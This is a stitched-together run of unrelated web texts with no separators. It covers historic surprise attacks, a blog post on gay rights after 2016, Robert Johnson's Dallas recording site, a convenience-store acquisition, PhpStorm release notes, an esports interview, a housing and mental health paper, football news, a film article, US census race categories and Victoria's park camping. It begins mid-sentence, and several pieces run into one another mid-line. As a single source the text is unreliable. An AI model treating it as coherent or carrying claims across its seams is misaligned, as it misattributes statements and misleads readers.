a single career woman barely exists here. Women cannot even drive. They cannot get an education, |
be beaten."
3) The Battle of France, 1940. Speaking to the Council on Foreign Relations in 2007, Ernest R. May, a professor of history at Harvard University and author of Strange Victory: Hitler's Conquest of France, said that the Germans' "successful surprise attack" on France altered the way the world regarded France and the way that France regarded itself.
Before the Nazi campaign, May said, "almost everyone said that France had the strongest army in the world." But after Germany's victory, he continued, "almost everyone thought this had been an illusion. The French military was accused of a Maginot Line mentality, defeatism, cowardice. The Germans were taken to have been overwhelmingly superior militarily and to have had will to win which the French lacked. These became, and to some extent remain, articles of faith in France."
In drawing parallels between the Germans' victory and Sept. 11, May argued that in fact the French were stronger than the Germans, and the Germans' victory was a product of "guile and luck." The Sept. 11 plot, he added, "is another, and much more extreme, example of an attack by a weaker party."
The plan for the Sept. 11 attack was, like the German plan, "based on knowledge obtained from open sources, not on secret intelligence," May said. And "the analysis underlying the plan rested largely on suppositions about the enemy's standard operating procedures."
4) The Japanese attack on Pearl Harbor, 1941. The morning assault by the Imperial Japanese Army on the U.S naval base in Hawaii changed the shape of the already-raging World War II "by bringing America in with its freshness and manufacturing capacity," says Brad King of the Battleship Cove museum.
The attack also refocused American foreign policy in profound and everlasting ways. Speaking on National Pearl Harbor Remembrance Day in 2008, then-President George W. Bush said, "On Dec. 7, 1941, the enemy nearly destroyed our Pacific fleet, and the United States was forced into a long and terrible war. A generation of Americans stepped forward to fight for our country. Their message to America's enemies was clear: If you attack this country and harm our people, there is no corner of the Earth remote enough to protect you from the reach of our nation's armed forces."
5) The Six Day War, 1967. On the morning of June 5, Israeli planes surprise-attacked the at-rest Egyptian air force, destroying hundreds of planes. Similar strikes hobbled Jordan and Syria. On the ground, Israeli troops marched into the Sinai Peninsula and the Gaza Strip. They routed Palestinians from the West Bank of the Jordan River, seized the Golan Heights in Syria and continued on to the Suez Canal. The rapid chain of events altered the landscape and the future of the Middle East — and, arguably, foreign policy in state departments around the world.
The Art Of War
Compiling such a list can be a complex undertaking. "Issues of scale, era and location complicate the question, as do the criteria for a'sneak attack' — which is often viewed as a preemptive strike by those who launch it," observes military historian John W. Hall at the University of Wisconsin, Madison. "Rarely are such affairs complete and total surprises. In hindsight, it often emerges that the indicators for an attack were present but overlooked, or not placed in the proper context."
Hall suggests that Germany's unexpected — and unsuccessful — surprise invasion of the Soviet Union in 1941 be included on the list. "It is quite conceivable," Hall says, "that Hitler could have consolidated his territorial gains to that date had he not committed this most egregious of strategic blunders."
And noticeably absent from the roster are any Asian events.
There is a reason for that, explains historian David A. Graff, an associate professor at the Institute of Military History and 20th Century Studies at Kansas State University. "Tricks, traps, ambushes and other efforts resulting in the surprise of one party by another have been commonplace in Chinese warfare from as far back as we have records," Graff says. "The centrality of deceit in warfare was enunciated by Sun Tzu in the middle of the first millennium B.C. Deceit aimed at achieving surprise became so ubiquitous that it was almost like background noise, without the power to shock."
What gives events like Sept. 11 and Pearl Harbor their iconic power in our culture, Graff says, "is the ability of the victims to be shocked, and to perceive the attack as 'dastardly.' The Chinese have generally been more inclined to fault the victim for letting down his guard."
The Chinese language, Graff adds, "has no equivalent to our saying, 'Fool me once, shame on you; fool me twice shame on me.' But if it did, it would be something like 'Fool me once, shame on me.' "I remember around 2005-ish walking through the grocery store parking lot and noticing nearly every car had one of those "W" stickers on it. If you remember, George W. Bush campaigned in those days with a lot of "traditional marriage" and "family values" talk. Basically using fear of the gays for votes. When all those "W" stickers starting appearing it felt homophobic to me. That "W" meant all these people were taking a stand... against me and my kind.
It sucked. But I accepted it. We accepted it. Those were different times. We grew up in a culture that did not accept us. We were used to feeling "less than." I couldn't even fathom that a decade later one might spot a same sex couple holding hands in the park, in broad day light even, right here in Nashville, Tennessee. No idea that gay marriage would be legal and that I would even be engaged. Didn't seem even remotely possible. So all those "W" stickers... what was a gay guy gonna do?
Every single cabinet member that Trump has chosen so far has an anti-gay record. Some of them pretty extreme. That's the impending era. But there's one huge difference between what's ahead and where we've been -- something the new anti-gay government doesn't see coming: we've tasted freedom.
We've been living our lives with more equality. Celebrities and athletes have come out. Trans people, while still struggling, are more visible. Most Americans are now fine with same sex marriage. Millennials are the most liberal generation yet. Whatever amount of intolerance acceptance we were putting up with a decade ago has been cast aside for a new gay world.
If you thought we tough and persistent during Stonewall and the AIDS crisis, we're about to blow the minds of bigots who think we are about to shrink back into a closet. We are organized, we are many and the majority of America is on our side.Seven months later, Johnson was called back to Texas, this time to Dallas. He worked with Don Law, a producer at Brunswick Records, and recorded the final 13 songs of his career, including “Me and the Devil Blues,” “Love in Vain” (which the Rolling Stones covered) and “Traveling Riverside Blues” (covered by Led Zeppelin).
Fourteen months later, at age 27, he died mysteriously. (Johnson is widely credited as the first member of the 27 Club, a group of musicians, including Jimi Hendrix, Janis Joplin and Kurt Cobain, who died at that young age.) Some say a lover’s jealous husband poisoned Johnson with strychnine; others say he died of syphilis — his death certificate simply states “No Doctor.”
The location of his grave is also unknown, although several Mississippi cemeteries lay claim to the site.
But the puzzle confounding historians was figuring out where exactly Johnson had recorded the last of his famous songs. Experts assumed the recording took place at 508 Park — the branch office of Brunswick Records at the time — and in 2004, Eric Clapton even filmed part of his “Sessions for Robert J” DVD inside the decrepit, boarded-up building. Then, in 2005, a letter surfaced in which Mr. Law named 508 Park as the site.
Photo
The official proof of the structure’s storied history was not enough to keep the building safe in a city with a bad reputation for bulldozing first and asking questions later.
The previous owner, Glazer’s, a wholesale distribution company, had tried to sell it for decades, but no one bought the property, partly because of the constant presence of homeless people in the area. In 2009, the company asked the city’s permission to demolish the building but was denied the permit. When Glazer’s finally sold the property to First Presbyterian in June, the church’s promise to renovate the property had blues lovers and historians rejoicing.
“It’s a best-case scenario,” said Katherine Seale, executive director of Preservation Dallas. “The building is important — not only does it help tell the story of our country’s musical history, but there are very few examples of Art Deco architecture in Dallas, and even fewer ZigZag Moderne buildings, a style that exemplifies the spirit of the 1930s.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
Peter Guralnick, author of “Searching for Robert Johnson” (1989), said buildings like 508 Park were too often leveled.
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“Everybody said, ‘You can’t tear down Stax Records,’ but they did,” Mr. Guralnick said of the Memphis recording studio that was demolished in 1989. (A partial reproduction was later built for the Stax Museum of American Soul Music.)
“It’s great that the efforts have borne fruit” at 508 Park, he said. “Robert Johnson’s influence is extraordinary.”
First Presbyterian plans to start renovating the 23,000-square-foot building next year, creating a cultural center complete with a museum, a performance space, an art studio and a music education center called “The Spirit of the Blues.” A recording studio will be built in the same area where Johnson and others cut records — including Bob Wills, the Western swing musician — and the vacant building next door will be torn down and replaced by a band shell-style outdoor amphitheater.
Even with the renovations, First Presbyterian does not plan to turn its back on the homeless community. Their artwork will hang in the new gallery, and shows for them will be performed in the new amphitheater.
And that is perfectly fitting. After all, Johnson spent most of his life essentially homeless, drifting from town to town.
“There’s a natural connection,” Mr. Buchanan said. “Robert Johnson could definitely relate to these people and the work we do.”PDQ stores
PDQ stores
MADISON, Wis. - Kwik Trip has signed an agreement to acquire the assets of PDQ Food Stores.
PDQ is an employee-owned company based in Middleton that owns 34 company-operated convenience stores in southern Wisconsin. The announcement was made Wednesday morning in a press release.
“This acquisition allows Kwik Trip to expand its presence in a market that is important to its overall retail growth strategy,” a press release said. “The PDQ management and employees have built an excellent brand over their 65 years in business and are well known for their excellent customer service and convenience.”
Kwik Trip spokesperson John McHugh said the company will invest $30 million to $40 million in the PDQ stores to bring them up to Kwik Trip standards.
"Madison has been a target market for us for many years, and this gives us the opportunity to purchase stores that are already there and also acquire a customer base that's already there and very loyal to PDQ, and we hope loyal to Kwik Trip," McHugh said.
McHugh said they will ramp up hiring to get PDQ stores to Kwik Trip's average of 30-35 employees per store.
“With the acquisition of PDQ and future remodel of the PDQ locations we anticipate adding more than 1,000 jobs,” said Mark Zietlow, real estate manager and third generation owner.
The transaction is scheduled to be completed in early October and is subject to PDQ employee approval and other customary closing conditions. Kwik Trip plans to operate the acquired stores under the existing PDQ banner until planned remodels and reimaging are completed in mid-2018.
PDQ employees told News 3 since PDQ is employee-owned, they'll get compensated based on the sale and can reapply to Kwik Trip if they're interested.
Kwik Trip is a family-owned company based in La Crosse with 570 stores in Wisconsin, Minnesota and Iowa. The company currently employs more than 19,000 people.
PDQ employees told News 3 it is unlikely the HyVee Reward Card program will continue, since Kwik Trip has its own rewards program.PhpStorm 2017.2.2 build 172.3968.35 is now available! You can download it here, in JetBrains Toolbox App or if you have installed the previous PhpStorm 2017.2.1 or PhpStorm 2017.2.2 EAP build (172.3968.23), you should soon get a notification in the IDE about a patch update.
This build delivers new features, bug fixes and improvements for PHP and the Web, and takes on the latest improvements in IntelliJ Platform. Here’s a list of the most notable improvements.
The most important PHP & WEB bugfixes
Performance and stability fixes in PHP editing/type analysis/completion
Undefined field: a field is shown as dynamically declared in case the field declared in a parent class (WI-36285)
502 Bad Gateway error from the server when post data (WEB-17317)
Javascript: Shorthand property inline adds no key (WEB-22611)
The most important platform bugfixes
Navigate to class or file popup doesn’t suddenly disappear anymore on Linux (IDEA-173000)
The crash issue that occurred due to using custom fonts (JRE-426)
Wrong position of the context menu on the HiDPI screens on Windows (JRE-453)
Long-awaited spell checker improvements
Cannot move/resize diff view area of Commit Changes dialog (IDEA-173698)
Typing settings repository URL triggers path alert (IDEA-173109)
Changelog converted automatically to US-ASCII (IDEA-176658)
Notable features
Blade comment folding (WI-37694)
New Paste from History action with Paste Simple (IDEA-176965)
Emmet in JSX, support non-self closing tags for host components (WEB-26468)
See the full list of bug-fixes and improvements list in our issue tracker and in the complete release notes.
Download PhpStorm 2017.2.2 build 172.3968.35 for your platform or click “Update” in your JetBrains Toolbox App and please do report any bugs and feature request to our Issue Tracker.
JetBrains PhpStorm Team
The Drive to DevelopWorlds 2016 started off as an incredibly shocking and exciting event and Albus NoX Luna was at the center. Through hard fought matches, Albus NoX Luna managed to qualify for the quarterfinals; the first Wildcard team to have ever done so. Michael "Kira" Garmash, is one of the key components of the roster. Formerly mid laner of Hard Ransom, Kira made a name for himself in the qualifiers for the 1v1 tournament for All Stars 2015. Since then, Albus NoX Luna was formed from Hard Ransom's roster. Dignitas Novalas caught up with Kira to discuss his series against H2K and his Worlds experience.
After a hard-fought path into the quarterfinals, ANX lost 3-0 against H2K. What do you think went wrong in the series?
Kira: We tried to play the worlds meta and failed. It’s not our playstyle so we need more time to train it or ignore it and play our game.
During your tenure at Worlds, you’ve laned against Huhi, Perkz, Kur0, and Ryu. Who did you have the most difficulty playing against 1v1?
Kira: I think it’s not about the players but about the champions. Usually I had pretty good matchups, but the most pressure I had was from Kur0 Syndra, because he had really good sustain on mana and still was able to harass me when I was Vlad. Ryu’s Syndra was pretty good so my Zilean lost to it.
What were your realistic expectations going into Worlds this year?
Kira: I predicted 0-6 or maybe 2-4 and this 2 wins would've been vs CLG. I thought that MSI situation will not happen again and I was right about CLG, but not about G2. But, at the first game my team (PvPStejos) showed me, that we have chances and a miracle can happen, so I tried my best in next games.
Albus NoX Luna has earned many fans due to their recent successes. Did you expect the level of support that you’ve received?
Kira: I was a fan before I started to be a pro player and I know the feeling when the underdog is starting to win against major teams. You starting to cheer them because it’s really fun to see when an Ant can kill an Elephant. So I expected that we will have a lot of fans, but I was really surprised about the number of the fans, I couldn’t imagine that there would be so much people.
Prior to coming to Worlds, your teammates have stated that you didn’t receive many scrims. After your successes in weeks 1 and 2, were more teams willing to scrim?
Kira: Yep, we started to scrim with more than just INTZ. But still not enough (but I think it’s because of ourselves).
Albus NoX Luna displayed phenomenal macro play, at least from what many expect from a Wildcard team. Since the team didn’t receive many scrims, how did you practice and perfect your strategies?
Kira: I think it’s because our shotcallers are really smart and in scrims that we played, we tried our best even in situation when we lost already 10k gold and we even won that games, so we had a lot of experience in macro situations and PvPStejos did a lot of work in this stuff by his own.
Your team has single-handedly proven that the wildcards shouldn’t be underestimated once you qualified for quarterfinals. Do you believe that Riot should provide more seedings for Wildcards or a direct seed to Worlds for CIS?
Kira: It’s pretty hard question, all depends and everything can happen. Of course, I want to see a direct seed for CIS but still I like to play with everyone because it’s different styles and more experiences. But still yeah, better to have direct seed, so you will not need to travel so much and be exhausted by it.
Now that your team is out of the tournament, who do you expect will take the summoner’s cup?
Kira: Koreans. I think SKT.
If Albus NoX Luna was in the EU LCS, where do you expect your team to have placed in the regular split?
Kira: In my opinion, in the first week Top 9-10. And in the last week, Top 6.
Now that Worlds is over, what are the team’s plans for the future?
Kira: To go on vacations and rest from LoL for a while! And of course, get Challenger jackets!
How do you feel about many fans comparing Albus NoX Luna to Moscow 5?
Kira: When I remember M5 and watch ourselves, I see sometimes some close things, but for me we are really different. So I don’t agree with them on 90%.
From Worlds, what was your most memorable moment?
Kira: 1st game vs RoX our fight in jungle and dive at bot, it was really bad from me. I did some really stupid mistakes but it was my first time from me do them, so if I played good we will win, that’s why I memorise it. And of course, my first good call (and maybe last) to do Elder Drake.
What do you think you’ll take away from the Worlds experience?
Kira: I think, mechanically, all midlaners are close to each other, except special players. So now I need to get my champion pool bigger and understand more teamplay moves.
Do you have any last words for the readers/fans?
Kira: Thank you for cheering us guys, I hope you liked our game (when we played it). We will try to level up this style and do even better next time!
Make sure to check out Albus NoX Luna on their social media for updates on their team and Kira!
Albus NoX' Facebook
Albus NoX' TwitterWhat impact does the built environment have on our mental health? Psychiatrists Ciaran Abbey and TBS Balamurali are the authors of a new Legatum Institute study that explores the relationship between mental health and housing as a cornerstone from which humans can develop and flourish.
Housing the Mind [PDF]
By Ciaran Abbey and TBS Balamurali
June 2016
Published by the Legatum Institute
This paper was launched at the Legatum Institute on Thursday, 9 June 2016. Watch here.
INTRODUCTION
There is a housing crisis in the UK. As psychiatrists, we work with some of the most disadvantaged and vulnerable individuals in society, and the association between the lack of a stable home and mental health is clear. We wanted to ask how where we live, our built environment, and where we recover from illness impacts our health.
We know that being fit and healthy is not purely about the absence of disease, and good mental health is not simply referring to the absence of a formal diagnosis of mental illness. It is a state of wellbeing in which the individual realises his or her own abilities, can cope with the normal stresses of daily life, can work productively and fruitfully and is able to make a contribution to his or her community”.1 The home is not only about shelter, it is also symbolic. It is the space where we can be ourselves, form intimate relations, feel safe and keep precious things, all contributors to wellbeing.
Genetics and a person’s upbringing have significant effects on mental health, but social environments also play a large role. Environments affect family stress, social support and home stability—factors that in turn influence childhood development and, therefore the future life of that individual.
Good, affordable, spacious housing for individuals and their families is an important determinant of physical and mental health, employment, academic achievement and wellbeing.2 In the current UK crisis, not only is there a lack of affordable, adequate-quality housing, indications suggest that demand will continue to increase as the proportion of single-occupancy housing increases.
In the UK, the rate at which houses are being built does not reflect demand.3 The average household size in England is steadily decreasing from 2.33 to 2.16 due, in part, to a rise in single-occupancy households (54%); there is a substantial increase in people over the age of 65 who are living alone. DCLG data predict a 27% rise in numbers of households in England over the next 30 years, with over 5.8 million additional households. The British land market is highly volatile and very highly priced. Supply is tight as a result of planning constraints.
The National Planning Policy Framework (NPPF) was introduced in March 2012 with the abolition of the Regional Development Agencies. The idea was for planning to be devolved to local areas, but concerns have already arisen. Local councils are beholden to their residents, who are often reluctant to see new housing in their area, reducing availability for sites and therefore housing. Acquiring sites is a competitive process and the party with the highest bid will secure the deal. This incentivises developers to increase density and reduce the amounts spent on design and build quality. In effect, with current building rules and market forces, developers are being encouraged to build small units. As a result, UK homes appear to be shrinking—they are the smallest in Western Europe for both public and private housing. In Ireland, new homes are 15% bigger, in the Netherlands 53% bigger, and in Denmark, the average newly-built home in 2005 was 80% bigger than in the UK.4 In England, the newer the home, the smaller it is likely to be. This increases the risk of overcrowding in high-density areas with little to persuade developers to design spaces which are desirable and liveable.
But why does where we live have such a strong impact on our wellbeing? In 1943, Maslow published the hierarchy of needs—a theory in psychology describing the pattern that human motivations usually move through.5 Primary are the needs for food and shelter. However housing can also feed into all of the higher levels— providing safety, a sense of belonging, as well as a base from which to progress and generate self-esteem and self-actualisation. Housing is one of the cornerstones from which a human being may develop and flourish.
About the Architecture of Prosperity Series
The Architecture of Prosperity, which forms part of the Legatum Institute's 'The Culture of Prosperity' programme, evaluates the impact of the built environment on human wellbeing and the capacity for creativity. The series of lectures, seminars and conferences address the central question of why some forms of architecture promote prosperity while others are linked to vicious effects.
So, is Zaha having a medical? United outcast arrives at hospital with Cardiff closing in on loan deal for winger
Wilfried Zaha has been pictured arriving at hospital as Cardiff City renewed hope of completing a loan move for the Manchester United outcast this week.
Sources close to the deal have told Sportsmail that a move might even be done as soon as Thursday, with David Moyes fast losing patience with the winger, arrived at Bridgewater Hospital in Manchester for a scan on his toe.
The United manager was initially reluctant to let the 21-year-old leave while Ashley Young and Nani were injured, but Young’s return and Moyes’s continued issues with Zaha’s behaviour have accelerated the process.
VIDEO Scroll down to watch Zaha in England U21 training and rowing with Ravel Morrison
Checking in: Wilfried Zaha was pictured arriving at Bridgewater Hospital in Manchester on Wednesday
Out in the cold: Zaha has barely featured for United this season and has spent a lot of time on the bench
Moyes was extremely unhappy that Zaha was 45 minutes late meeting up with the Under 21 squad on Monday for a reserve fixture against Middlesbrough in Salford.
The United manager decided that Zaha should be put on the bench, further increasing tensions with the former Crystal Palace star, who had earlier shown his annoyance at being left out of the squad for Sunday’s game at Chelsea.
Sportsmail first revealed Cardiff’s interest in Zaha and November and Ole Gunnar Solskjaer has pushed hard to land him in this window.
Going downhill: Zaha's relationship with David Moyes took another turn for the worse this week
Game time: Zaha eventually got on to the pitch for the Under 21s against Middlesbrough on Monday night
Facing up to reality: Zaha's dream mover to Manchester United in the summer is turning into a nightmare
United’s early reluctance has subsided now and a move is close for the £15million winger, who would become Solskjaer’s third signing of the window.
Under the terms of the loan, it is highly unlikely that Zaha would be allowed to play for Cardiff against United in the Premier League next Tuesday.
Meanwhile, Cardiff defender John Brayford is joining Sheffield United on loan.
Dejected: Zaha gets a consoling pat on the arm from Robin van Persie during trainingThis article is about the film. For the eponymous character, see Gill-man
Creature from the Black Lagoon is a 1954 American black-and-white 3D monster horror film from Universal-International, produced by William Alland, directed by Jack Arnold, that stars Richard Carlson, Julia Adams, Richard Denning, Antonio Moreno and Whit Bissell. The Creature was played by Ben Chapman on land and by Ricou Browning underwater. The film premiered in Detroit on February 12 and was released on a regional basis, opening on various dates.
Creature from the Black Lagoon was filmed in 3D and originally projected by the polarized light method. The audience wore viewers with gray polarizing filters, similar to the viewers most commonly used today. Because the brief 1950s 3D film fad had peaked in mid-1953 and was fading fast in early 1954, many audiences actually saw the film "flat", in 2D. Typically, the film was shown in 3D in large downtown theaters and flat in smaller neighborhood theaters. In 1975 Creature from the Black Lagoon was re-released to theaters in the inferior red-and-blue-glasses anaglyph 3D format, which was also used for a 1980 home video release on Beta and VHS videocassettes.[1]
For marketing reasons, a comedic appearance with Abbott and Costello on an episode of The Colgate Comedy Hour aired prior to the film's release. The appearance is commonly known as Abbott and Costello Meet the Creature from the Black Lagoon. Ben Chapman reprised his role as the Gill-Man for the program.[citation needed]
Creature from the Black Lagoon generated two sequels: Revenge of the Creature (1955), which was also filmed and released in 3D in hopes of reviving the format, and The Creature Walks Among Us (1956), filmed in 2D. The creature, also known as the Gill-man, is usually counted among the classic Universal Monsters.[citation needed]
Plot [ edit ]
Autographed Julie Adams still featuring the Creature menacing Kay.
A geology expedition in the Amazon uncovers fossilized evidence (a skeletal hand with webbed fingers) from the Devonian period that provides a direct link between land and sea animals. Expedition leader Dr. Carl Maia (Antonio Moreno) orders his two assistants to stay in camp while he visits the marine biology institute.
Carl reunites with his friend and former student, ichthyologist Dr. David Reed (Richard Carlson). David works at an aquarium in California, but more recently he has been a guest at Carl's institute in Brazil to study lungfish. David persuades his boss, the financially minded Dr. Mark Williams (Richard Denning), to fund a return expedition to the Amazon to look for the remainder of the skeleton.
Soon after Carl leaves camp, a piscine amphibious humanoid, a living member of the same species from which the fossil originated, becomes curious about the expedition's camp. When its sudden appearance frightens the assistants, they panic and attack, and in response the enraged creature kills them both.
The group goes aboard the tramp steamer Rita, captained by crusty Lucas (Nestor Paiva). The expedition consists of David, Carl, Mark, as well as David's girlfriend and colleague, Kay Lawrence (Julie Adams), and another scientist, Dr. Edwin Thompson (Whit Bissell). When they arrive at the camp, they discover Carl's assistants have been killed while he was away. Lucas suggests it was likely done by a jaguar, but the others are unsure.
A further excavation of the area where Carl found the fossil turns up nothing. Mark is ready to give up the search, but David suggests that perhaps thousands of years ago the part of the embankment containing the rest of the skeleton fell into the water and was washed downriver, broken up by the current. Carl says the tributary empties into a lagoon. Lucas calls it the "Black Lagoon", a paradise from which no one has ever returned. The scientists decide to risk it, unaware that the amphibious "Gill-man" that killed Carl's assistants has been watching them. Taking notice of the beautiful Kay, the creature follows the Rita all the way downriver to the Black Lagoon. Once the expedition arrives, David and Mark go diving to collect rock samples from the lagoon floor. After they return, Kay goes swimming and is stalked underwater by the Gill-man, who then gets briefly caught in one of the ship's drag lines. Although it escapes, the creature leaves a claw behind in the net, revealing its existence.
Subsequent encounters with the Gill-man claim the lives of Lucas's crew members, before the creature is captured and locked in a cage aboard the Rita. It escapes during the night, attacking Edwin, who was guarding it. Kay smashes the creature with a lantern, driving it off, but Edwin is severely injured. Following this incident, David decides they should return to civilization. Mark, obsessed with capturing (or killing) the creature, objects. As the Rita tries to leave, they find the lagoon's entrance blocked by fallen logs, courtesy of the Gill-man. While the others attempt to remove the logs, Mark is mauled to death while trying to capture the creature single-handedly, underwater. It then abducts Kay and takes her to its cavern lair. David, Lucas and Carl give chase, and Kay is rescued. The creature is riddled with bullets before retreating to the lagoon, where its body sinks into the watery depths.
Cast [ edit ]
Production [ edit ]
Producer William Alland was attending a 1941 dinner party during the filming of Citizen Kane (in which he played the reporter Thompson) when Mexican cinematographer Gabriel Figueroa told him about the myth of a race of half-fish, half-human creatures in the Amazon River. Alland wrote story notes titled "The Sea Monster" 10 years later. His inspiration was Beauty and the Beast. In December 1952, Maurice Zimm expanded this into a treatment, which Harry Essex and Arthur Ross rewrote as The Black Lagoon. Following the success of the 3D film House of Wax in 1953, Jack Arnold was hired to direct the film in the same format.[3]
The designer of the approved Gill-man was Disney animator Milicent Patrick, though her role was deliberately downplayed by make-up artist Bud Westmore, who for half a century would receive sole credit for the creature's conception.[4] Jack Kevan, who worked on The Wizard of Oz (1939) and made prosthetics for amputees during World War II, created the bodysuit, while Chris Mueller Jr. sculpted the head.[citation needed]
Ben Chapman portrayed the Gill-man for the majority of the scenes shot at Universal City, California. Many of the on-top of the water scenes were filmed at Rice Creek near Palatka, Florida. The costume made it impossible for Chapman to sit for the 14 hours of each day that he wore it, and it overheated easily, so he stayed in the back lot's lake, often requesting to be hosed down. He also could not see very well while wearing the headpiece, which caused him to scrape Julie Adams' head against the wall when carrying her in the grotto scenes. Ricou Browning played the Gill-Man in the underwater shots, which were filmed by the second unit in Wakulla Springs, Florida.[3]
Critical reception [ edit ]
Creature from the Black Lagoon received positive reviews from critics upon its release and is now considered a classic.[citation needed] Leonard Maltin awarded the film three out of a possible four stars, writing, "Archetypal '50s monster movie has been copied so often that some of the edge is gone, but... is still entertaining, with juicy atmosphere and luminous underwater photography sequences."[5] Film review aggregator Rotten Tomatoes reports an approval rating of 84%, based on 32 reviews, with an overall rating average of 6.9/10.[6] The film is recognized by American Film Institute in these lists:
Home media [ edit ]
In 1980, Universal released Creature from the Black Lagoon on video cassette in an anaglyph 3D version, using the Deep Vision anaglyph 3D release as its source. Subsequent releases on VHS, Beta and DVD were the 2D version. On October 2, 2012, Universal Studios Home Entertainment released the film on Blu-ray as a 2D / Blu-ray 3D dual format disc as part of the "Universal Classic Monsters: The Essential Collection" box set. On June 4, 2013, the Creature from the Black Lagoon Blu-ray disc was released as a stand-alone title.
In other media [ edit ]
Novelization [ edit ]
Creature from the Black Lagoon was novelized in 1954 by John Russell Fearn under the pseudonym of "Vargo Statten", then later, in 1977, in mass market paperback under the pseudonym of "Carl Dreadstone". This was part of a short-lived series of books based on the classic Universal horror films. The 1977 book was introduced by Ramsey Campbell, but was written by Walter Harris. The 1977 novel offers a completely different Gill-man, who in this version of the story is gigantic, almost as big as the Rita herself, weighing in at 30 tons. It is both coldblooded and warmblooded, is a hermaphrodite, and also possesses a long whip-like tail. The gigantic creature is dubbed "AA", for "Advanced Amphibian", by the expedition team members. After slaying most of the team members, destroying a Sikorsky helicopter, and kidnapping Kay more than once, the creature is killed by the crew of a United States Navy torpedo boat.
The 1977 novel also differs greatly with respect to the human characters. Only David Reed and Kay Lawrence remain the same. Mark Williams is a German named "Bruno Gebhardt" and dies not as a result from drowning, but by the monster falling on him. Lucas is named "Jose Goncalves Fonseca de Souza" and is a mostly sympathetic character, until his suggestion of throwing the wounded and unconscious Reed to the monster makes an enraged Gebhardt/Williams throw him to the beast instead. Dr. Thompson and Dr. Maia both die grisly deaths, whereas in the movie they survive; Maia is eaten by the monster, and Thompson is impaled on a long tree branch flung at him by the creature like a spear (in an apparent nod to a deleted scene from Revenge of the Creature wherein the Gill-man killed a guard in this fashion).
Reboots and remakes [ edit ]
Sequels [ edit ]
Creature from the Black Lagoon spawned two sequels: Revenge of the Creature (1955), which was also filmed and released in 3D in hopes of reviving the format, and The Creature Walks Among Us (1956), filmed in 2D. |
from being people who merely get registered to having a say in how we are registered. Until 1960, census workers determined your race for you. Since then, US residents have had to answer a somewhat loaded question: What race am I?
The census's struggle to categorize race
In an ever more diverse country, this question posed a lot of conundrums for people. Census Bureau researchers analyzed a sample of 168 million anonymized census responses and found that 10 million people — or roughly one in 20 — had changed their race between 2000 and 2010.
The Census Bureau is now also experimenting with not using the word "race" at all when asking people about their ethnic background. Instead, it's toying with the idea of requiring people to select a category.
What researchers confirmed is something that minorities understand and live every day: Racial identity is complicated, and race isn't biological as the census takers might once have thought. Race was and is socially constructed by "political regimes, through intergroup relations, and via personal interaction."
Native Americans are one of the starkest examples of this prioritization. "Native American" was not a category in the US Census until about 70 years after the first census was conducted. When a category for Native Americans, "Indian," was finally introduced in 1860, only tax-paying Native Americans who had renounced their tribal citizenship and had assimilated to American life were counted. But that did not take into consideration the multitude of tribes that lived the US when European settlers first arrived.
Since then, the term has undergone a number of changes — from "Indian" to "American Indian" to "Aleut, Eskimo, or American Indian" to "American Indian or Alaska Native" and "Native Hawaiian" — but to some, the term still seems insufficient for how large a part of the US Native Americans were.
"Imagine the complexity of what it means to be a ‘tribal member' or citizen when there are some 562 recognized tribes each with their own definition?" wrote Mark Trahant, the Charles R. Johnson professor of journalism at University of North Dakota, who researched the history of data collection in Indian country. "If you start with that problem, how does the data reflect what it means to be an American Indian?"
Notes: The five major groups in the dropdown menu reflect the Office of Management and Budget's (OMB) race classifications. According to the OMB, someone classified as White is someone who has origins in any of the original peoples of Europe, the Middle East, or North Africa; a classification of Black or African American signifies someone who has origins in any of the black racial groups of Africa; an American Indian or Alaska Native person is someone who has origins in any of the original peoples of North and South America (including Central America) and who maintains tribal affiliation or community attachment; an Asian person is someone with origins in any of the original peoples of the Far East, Southeast Asia, or the Indian subcontinent, including, for example, Cambodia, China, India, Japan, Korea, Malaysia, Pakistan, the Philippine Islands, Thailand, and Vietnam; and a Native Hawaiian or Other Pacific Islander person is someone who has origins in any of the original peoples of Hawaii, Guam, Samoa, or other Pacific Islands.
Unless persons were omitted purposely in a count, such as non-tax-paying Native Americans, the term "All other free persons" we assigned to ethnic minorities between 1790 and 1840. In 1890, Congress mandated the introduction of supplementary "black blood" quantum categories, "Quadroon" and "Octoroon," for the census.The City of Victoria is considering banning overnight camping in four parks and setting up its own micro-housing in order to get a handle on its homeless problem.
In 2009, the B.C. Court of Appeal ruled homeless people had the right to camp in parks if there are no shelter beds available.
Since then, so many people have set-up camp in parks when shelters are full, it's become an expensive problem.
Last year, Victoria spent more than $600,000 on police and other services to deal with the campers. The city estimates 10 percent of campers are visitors from outside the city.
Counc. Ben Isitt has proposed banning overnight sheltering in Haegert, Cridge, Kings and Arbutus parks, saying they are too small and too close to residents.
He also wants the city to considering creating its own micro-houses to deal with the problem.
"They're somewhere on the spectrum between unregulated outdoor sleeping and proper — sort of — permanent housing. So, still inferior to a proper apartment, but superior to someone having to sleep in a tent and take it down every morning at 7 o'clock in the morning."
Isitt says the aim is to have enough spaces in the micro-housing that people won't have to sleep in parks.
Speakers from Portland and Eugene, Oregon who have experience with micro-housing communities will make a public presentation on May 11.Swansea City's troubles deepened last night following reports that their centre half Chico Flores picked up a brick during a training ground row with former captain Garry Monk.
Twenty four hours after the club suffered a chastening defeat at the hands of Tottenham at the Liberty Stadium, it emerged that Police had been called to the club's training facility on Friday afternoon.
They are reported to have taken no action against the 26 year-old Spaniard while the club insist the issue has been resolved. Still, for manager Michael Laudrup, whose side are only three places and as many points off the relegation zone, it is adverse publicity he could have done without.
The alleged incident came just days after Flores is understood to have walked out of a senior team meeting at the club. A member of the public, believed to be the mother of a youth-team player at the club, phoned police after claiming to have spotted a screaming Flores brandishing the brick.
A statement from South Wales Police confirmed: ˜Police were called to the training ground at around 1.30pm on Friday 17 January. Club officials were spoken to and no police action was required.'
A Swansea spokesperson is reported to have said; "Chico Flores and Garry Monk had an exchange of words, which is not uncommon between players in training grounds across the country, but no threats or altercations took place between the players in question."
It was the beginning of a desperate weekend for Flores, whose own goal, eight minutes into the second half on Sunday, put Spurs two goals to the good. Emmanuel Adebayor added to his first half header, to secure the points 20 minutes from time, before Wilfried Bony snatched a consolation goal.
